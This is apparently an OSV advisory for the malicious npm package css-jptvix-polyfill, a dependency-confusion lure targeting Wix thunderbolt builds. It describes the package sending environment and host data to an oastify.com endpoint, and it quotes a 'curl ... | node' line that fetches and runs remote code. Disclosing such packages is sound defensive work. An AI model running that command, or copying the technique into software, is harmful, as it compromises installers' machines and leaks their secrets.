MAL-2026-17638

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/css-jptvix-polyfill/MAL-2026-17638.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-17638
Published
2026-10-06T19:51:06Z
Modified
2026-10-06T20:30:04Z
Summary
Malicious code in css-jptvix-polyfill (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (cea61788c370593a2720461d06b74942933d38d30b449851a05541b5b7f189aa)

The package ships thunderboltRegistry.js, a Proxy-based shim that exports names mimicking internal Wix thunderbolt modules (thunderboltRegistry, siteAssetsRegistry, editorRegistry, corvidRegistry, documentManagementRegistry, and others) so that any import of those names in a victim build auto-triggers its payload. On load, the module uses child_process.execSync to run id, whoami, env, and ifconfig/ip addr, and ships the output together with the hostname via fetch to the hardcoded Burp Collaborator subdomain https://orj3tao0ic8oj24h9njymexmtdz5ztphe.oastify.com, leaking the full process environment (including any tokens or secrets present) and host identifiers off the installer's machine. The same IIFE additionally runs curl -L https://appsecc.com/js | node, piping attacker-controlled JavaScript from an unrelated third-party domain directly into the installer's Node.js interpreter; the code labels this branch reverse-shell. The package name and the Wix-internal registry shape are consistent with a dependency-confusion lure targeting Wix thunderbolt builds.

Database specific 
{
    "malicious-packages-origins":  [
        {
            "id":  "IN-MAL-2026-021098",
            "import_time":  "2026-10-06T20:20:38.654635904Z",
            "modified_time":  "2026-10-06T19:51:06Z",
            "sha256":  "cea61788c370593a2720461d06b74942933d38d30b449851a05541b5b7f189aa",
            "source":  "amazon-inspector",
            "versions":  [
                "1.0.0"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / css-jptvix-polyfill

Package

Name
css-jptvix-polyfill
View open source insights on deps.dev
Purl
pkg:npm/css-jptvix-polyfill

Affected ranges

Affected versions

1.*
1.0.0

Database specific

cwes 
[
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files":  [
        {
            "path":  "thunderboltRegistry.js",
            "sha256":  "8b437ee6733aa1c34668f7c67d779276c08f7013def225c55d61c31753442fc7",
            "tlsh":  "3d7143b5b99df02066c33438db7f5049b4bb8a672c6caee0b40859b01f3585c01be6f4"
        }
    ],
    "package_integrity":  [
        {
            "filename":  "css-jptvix-polyfill-1.0.0.tgz",
            "hashes":  {
                "sha1":  "9e700b2c0520fc6a236e4b14db5db5c89b6e8ea4",
                "sha512_sri":  "sha512-Js0W2iiynerl/vPEpcWopmR1zUdevE9QFxO+uMawx929wvihQ2kbi13xV6DkdsiXvvjczR2MRVWNLYtM1xpDeA=="
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/css-jptvix-polyfill/MAL-2026-17638.json"